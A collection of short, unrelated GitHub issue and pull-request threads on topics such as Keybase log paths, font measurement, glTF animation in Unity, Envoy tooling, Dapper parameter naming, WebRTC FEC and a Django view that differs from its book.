This will also provide a useful abstraction over the difference regarding the location of the logs on the various platforms such as macOS, Linux, Windows and (I'm hoping) mobile devices that have legitimately useful command line support in the future.

The official document on Understanding the Keybase filesystem mentions the locations of the kbfs and service log files on macOS and also recommends using Console.app to access the logs.
That's very helpful, especially to those who run across it.

tl;dr - here's the best answer:
$ keybase status | ag log:
    log:       /Users/specious/Library/Logs/keybase.kbfs.log
    log:       /Users/specious/Library/Logs/keybase.service.log
    log:       /Users/specious/Library/Logs/keybase.updater.log
    log:       /Users/specious/Library/Logs/Keybase.app.log

Thanks!
Note that the "ag" command seems to be some sort of grep, which can be substituted.

This was useful, it helped us audit some interactions.  Thanks.


Coule you please provide the vid4 result of basicVSR and IconVSR?

Coule you please provide the vid4 result of basicVSR and IconVSR for me? It is hard to build the environment of mmcv.....

mmcv has prebuilt installations. Please refer to the installation instruction https://github.com/open-mmlab/mmcv#installation


For font measurement you can try skia-canvas

skia-canvas is much more lightweight than a full chromium

Thanks your advice!
I will conduct more detailed testing between skia-canvas and playwright later. The width of 'a' measured by skia-canvas is 12.050000190734863 when font-family is "Lucida Console, Courier, monospace", font-size is 20px. And the playwright is 12.0625, which is equal to measured in browser.
In my other repository svg-ebook-reader, it need more accurate measurements. And I don't know how it behave after using skia-canvas. But in this, using skia-canvas is indeed a better choice.

What I am concerned about is the cumulative error in char width, but now I have find that the width difference between the measurements above is 0.0125px. Only when the accumulated chars reach around 100, there will be a 1px error. In most cases, the situation will not be encountered. And 0.1px difference will be ignored by the browser.

The background overlap when selecting text can be solved by changing the background color.

2024-9-18
If playwright replaced with skia-canvas. The renderer result will be the bottom:

when selecting text, white gaps will appear between the texts.


react: add to track

Reviewers: Please note that this contains all commits from #31. This is because I am not willing to contribute an exercise without Travis proving that the example implementation I provide is correct. So either:

#31 should be merged first, and then this PR
or #30 should merged first and ask me to rebase this PR, which I will, then merge this PR

If @exercism/dlang will not review this, then what will we do?

@petertseng Would you mind rebasing this PR? I'm going to go ahead and bring it in.

👍

👍 rebased.
(For my use: git diff f263d60 232c61f looks like what I expect)

Thanks, @petertseng!


Justine update data collection wizard (text + images)

resources/public/locale/collection/en.json
15, 19 use double quotes \" instead of single, to be consistant.
39, A user has reported that this slide is hard to ready. Is it possible to split into two slides so each image can be less than a screen shot of the whole page? Or maybe try resizing your browser so the screen shot is smaller.


Add Support for GLTF Animations / Skins / Morphs

Animations are currently deserialized into the GLTFRoot object, but not translated into a Unity Animation.
GLTF 2.0 Animation Spec
https://github.com/KhronosGroup/glTF/tree/2.0/specification/2.0#animations
Unity Animation Component
https://docs.unity3d.com/ScriptReference/Animation.html

There's a bit of a problem with this on the roadmap. glTF has deliberately avoided specifying animation triggers/graphs/etc., so as a result glTF animation objects correspond roughly with Unity's AnimationClips. These can be created at runtime in Unity no problem. However, the AnimationController assets that use these clips cannot. So the usefulness of lone clips is limited. This needs to be addressed before this loader can be considered feature-complete.
^ @tparisi

Unitygltf is useless without animation support, anybody still working on it, and give a timeline please!

This has been implemented as of #146

@blgrossMS Can you please give an estimate when animation issue will be resolved? My project is dependent on it. Thanks.


Add frozolotl/tree-sitter-typst

This PR adds another tree-sitter grammar for typst.

Thanks for the awesome contribution @frozolotl !


Tools: update release date checker to check for release date vs. last commit of release

Tools: update release date checker to check for release date vs. last commit of release
Additional Description:

change six from pythonhosted to Github location so we can verify release date
change layout of bazel/repository_locations.bzl and api/bazel/repository_locations.bzl so that release_date follows version and sha256 to aid with dependency maintainance
updated tools/dependency/release_dates.py to check for release metadata vs. current approach of checking for latest commit in a release which may not equal release date. /cc @htuch + @phlax for Python review.
no dependency changes in this PR

Risk Level: Low
Testing: bazel --nohome_rc test //test/..., bazel --nohome_rc test @envoy_api_canonical//test/... @envoy_api_canonical//tools/..., bazel --nohome_rc build @envoy_api_canonical//envoy/..., tools/dependency/release_dates.py bazel/repository_locations.bzl
Docs Changes: None required
Release Notes: None required
Signed-off-by: Michael Payne<EMAIL_ADDRESS>

Addressed comments and replaced by https://github.com/envoyproxy/envoy/pull/16712


Parameters error when using inheritance

Ex: To reproduce:
public class Account : BaseModel     {         [Key]         public int Id { get; set; }         public string UserName { get; set; }           }
 public abstract class BaseModel {  public DateTime CreatedDate { get; set; } }
Have errors when using UpdateAsync: Instead of creating a param with the name: @CreatedDate, it creates  @BaseModelCreatedDate param.
Error in line: Instead of using the current model to update. It uses the parent model, please check, Thanks.
https://github.com/microorm-dotnet/MicroOrm.Dapper.Repositories/blob/338d1423dddf6cf6f155b33a0505f50aa7dd60cc/src/MicroOrm.Dapper.Repositories/SqlGenerator/SqlGenerator.GetUpdate.cs#L129

But what's the problem? the query doesn't execute?


chore: update dependencies

@kapekost would appreciate if you could do a quick test with the new deps.

@kapekost would appreciate if you could do a quick test with the new deps.

Shall I wait for this to pass to test? Are you on these test fixes?

Shall I wait for this to pass to test? Are you on these test fixes?

@kapekost Yeah I'll have to check what the issue is, any idea?

@kapekost Yeah I'll have to check what the issue is, any idea?

Seems like no breaking changes around jest, so it must be something with the mock call itself,
not much experience around this kind of test / lib
do I get it right, it expects the pop up to show a redirect url for www.google.com and then close? maybe then it needs to see the ?code = xxx ? for it to unmount?
odd if that's the case and it was passing before though :/

Seems like no breaking changes around jest, so it must be something with the mock call itself,
not much experience around this kind of test / lib
do I get it right, it expects the pop up to show a redirect url for www.google.com and then close? maybe then it needs to see the ?code = xxx ? for it to unmount?
odd if that's the case and it was passing before though :/

@kapekost Tests are fixed, good for a test from your side!

@kapekost Tests are fixed, good for a test from your side!

Great :) I will get back to this tomorrow morning and I will let you know
Thanks!

Great :) I will get back to this tomorrow morning and I will let you know
Thanks!

works well on my side too !

works well on my side too !

@kapekost thanks for checking ;) I'll prepare a release then! 🚀

@kapekost thanks for checking ;) I'll prepare a release then! 🚀


ios support?

are planning on adding ios support ? thank you for your hard work!

See https://github.com/wrbl606/floating/issues/22


FEC Support

Do we provide this as part of pion/rtp, and allow users to configure things as they please?
I have heard in a few cases that using FEC and no JitterBuffer at all is a much experience for users. Then in conjunction with TWCC you can measure loss and adjust FEC as needed.

Agree.
FEC and JB each has its own advantages and disadvantages.
FEC is simple and JB(BWE+PLI+NACK+FEC+BUFFER+...) is complex.
FEC has a lower latency but more bandwidth useage, it is better when the user bandwidth is not a bottleneck
Nack has a little bandwidth useage but more latency, it is better when  the user bandwidth is a bottleneck

There are two fec: ulpfec and flexfec. defalut is ulpfec.
about ulpfec, we should support red and rtx:
a=rtpmap:114 red/90000
a=rtpmap:115 rtx/90000
a=fmtp:115 apt=114
a=rtpmap:116 ulpfec/90000

Doing some research about ulpfec.

I feel good about this! The passthrough pattern allows us to transform data and send additional things (like RTCP)
#34 is my only out standing question
@adwpc I think the rest is more implementation detail. With the 'passthrough' pattern described in https://github.com/pion/webrtc-v3-design/issues/33 a user could generate the new packets as they wish!


Repo out of sync with Codepen

Hi,
Is there any chance the repository get's synced with the latest version?
The Codepen seems ahead on what is in the actual git repository. Checked your closed Pull Request, but that one does not contain the font files.
Kind Regards,
Tim

Looks like the problem is with the CSS? Not sure why it is hosted in icomoon.io.

I can't see any icon on CodePen.


Upgrade IntelliJ IDEA CE to 15.0.1.

Thank you for the contribution. It was merged directly as 2ab98a4748d587510d4124495e1186575bd9b13c to keep commit history cleaner. Your contribution is still credited to you.


Slack channel or some other kind of IRL chat

For interactive (but asynchronous) collaboration, we should make a slack channel or some other kind of chat forum.

How about something like https://gitter.im/ ?

@sergeylanzman Discord channel maybe?

I'm available in https://discord.gg/3Ep5fKy (mm99)


[Suggestion] MFR and Screen Modules

MFR machines work great with the fluid and power storage modules for RF Tools screens, but the main information you require, from an MFR machine is what would suit the Machine Information Module.
For example, if set to an auto-spawner, tell you what the current mob being spawned is. (Or even with the Inventory Module?)
The machine info module, could also display the 'Work' for the machine, and the 'Idle' time, which can be important.
Sorry if this is something that needs to be for the MFR team.
Thanks!

That's a good idea but I have no idea if MFR mod has an API for this so that would have to be investigated first.

Sure thing, thanks for taking it into consideration!


create_form() is different from book

I was having trouble getting the code from the book to work properly, so I came to the reference material here and found that it actually worked:
52 # add below your edit_thing view
53 def create_thing(request):
54     form_class = ThingForm
55
56     # if we're coming from a submitted form, do this
57     if request.method == 'POST':
58         # grab the data from the submitted form and
59         # apply to the form
60         form = form_class(request.POST)
61         if form.is_valid():
62             # create an instance but don’t save yet
63             thing = form.save(commit=False)
64
65             # set the additional details
66             thing.user = request.user
67             thing.slug = slugify(thing.name)
68
69 	# save the object
70             thing.save()
71
72             # create the slug from our name
73             slug = slugify(name)
74
75             # redirect to our newly created thing
76             return redirect('thing_detail', slug=thing.slug)
77
78     # otherwise just create the form
79     else:
80         form = form_class()
81
82     return render(request, ‘things/create_thing.html', {
83         'form': form,
84     })
Specifically, slug = slugify(name) immediately stood out to me since "name" is never declared.
The method from github looks like this:

       name = form.cleaned_data['name']

       description = form.cleaned_data['description']

       # create the slug from our name

       slug = slugify(name)

       # create our object

       thing = Thing.objects.create(

           name=name,

           description=description,

           slug=slug,

           user=user,

       )

I found this easier to understand since it never invokes .save() and cleanly lays out the form's values and where they are going in the "thing" object.

Thanks for making an issue! First, I updated the code in the repo to match the book — I need them to be exactly the same and I totally forgot to do it before.)
I hear you that it looks easier to understand as we're creating a new object. I'll consider this change in an updated version of the book. I got a lot of complaints by senior devs saying that the old version was ridiculous as we're using ModelForms and the shorter code in the new version is one of the reasons why people use ModelForms. That said, it'll definitely be considered as a change since I don't care much about short code, and care more about readability. It's in my notes now!
Regardless, thanks again to alerting me that the code here was different than the book!


Any way to skip directory?

Is there a way to make the cli tool to skip a directory entirely? I am trying to scan with "dir/**/*.jar" path pattern but since we have a folder (let's say called foo) under "dir" that contains like hundreds of directories which i am certain that they wont contain any jar files, i want tool to skip "dir/fool" directory completely. Otherwise script runs for more than 3-4h which causes timeout from our remote host.
I tried using exclude but seems like exclude doesn't make the tool skip directory, it still scans just doesn't include files in report(?).

how are you specifying the exclude? It use Ant style glob patterns:
--exclude=dir/foo/**/*

I might try:
$exclude_string="--exclude /audit//* --exclude /session//*";

tried your suggestion, didnt change process total time.
my guess is that ant exclude doesn't skip directories, it still scans those directories and subdirectories but just excludes them from final dir tree so process total time doesnt change? my workaround for now is just giving directories that I want to scan with multiple -s parameters instead of exclude approach

that is likely what is happening. Sorry you ran into this problem. Glad you found a solution.


Fixxed bug causing Adapter crash after some time (Parser unchecked)

Bug in dynamicParser() causing infinite RAM-usage rise because of constantly poping data to the array "statesToCreate" but never clear it afterwards.
Issue only happened when using the full-mode "Parser" not checked in adapter-settings

Thank you! Missed it completely...